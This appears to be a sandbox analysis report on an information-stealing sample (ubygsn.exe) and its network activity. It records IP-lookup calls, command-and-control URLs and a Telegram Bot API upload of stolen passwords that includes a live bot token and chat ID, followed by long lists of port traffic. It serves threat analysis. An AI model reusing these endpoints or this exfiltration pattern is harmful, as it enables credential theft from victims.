Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: tse1.mm.bing.net
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo/sendDocument?chat_id=6236275763&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1659e59db6a3Host: api.telegram.orgContent-Length: 584

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 05 Dec 2024 13:02:04 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: ubygsn.exe, 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, ubygsn.exe.3.dr	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: ubygsn.exe, 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe.3.dr	String found in binary or memory: http://aborters.duckdns.org:8081
Source: ubygsn.exe, 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe.3.dr	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002FC8000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp, MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp, MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA.crt0
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: ubygsn.exe, 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, ubygsn.exe.3.dr	String found in binary or memory: http://checkip.dyndns.org/q
Source: powershell.exe, 00000008.00000002.2248564967.0000000007193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.miUY:m
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp, MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=
Source: MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA.crl0E
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp, MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp, MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA.crl0L
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp, MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: powershell.exe, 00000008.00000002.2244050914.0000000005789000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2291901303.0000000005BE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp, MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0K
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp, MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: powershell.exe, 0000000B.00000002.2281406478.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000008.00000002.2241224175.0000000004876000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2281406478.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: MSBuild.exe, 00000003.00000002.4593226321.00000000033C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2241224175.0000000004721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2281406478.0000000004B81000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.2241224175.0000000004876000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2281406478.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Amcache.hve.7.dr	String found in binary or memory: http://upx.sf.net
Source: ubygsn.exe, 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe.3.dr	String found in binary or memory: http://varders.kozow.com:8081
Source: powershell.exe, 0000000B.00000002.2281406478.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4608317412.00000000040D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000008.00000002.2241224175.0000000004721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2281406478.0000000004B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002FC8000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe.3.dr	String found in binary or memory: https://api.telegram.org/bot
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:105270%0D%0ADate%20a
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo/sendDocument?chat_id=6236
Source: ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4608317412.00000000040D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4608317412.00000000040D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4608317412.00000000040D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002F53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: powershell.exe, 0000000B.00000002.2291901303.0000000005BE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000B.00000002.2291901303.0000000005BE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000B.00000002.2291901303.0000000005BE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 0000000B.00000002.2281406478.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000008.00000002.2244050914.0000000005789000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2291901303.0000000005BE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002E7F000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002E10000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: ubygsn.exe, 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002E10000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe.3.dr	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.228
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002E7F000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.228$
Source: MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://system.data.sqlite.org/
Source: MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://system.data.sqlite.org/X
Source: MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_see
Source: MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_seeaCould
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp, MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4608317412.00000000040D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002F89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002F84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
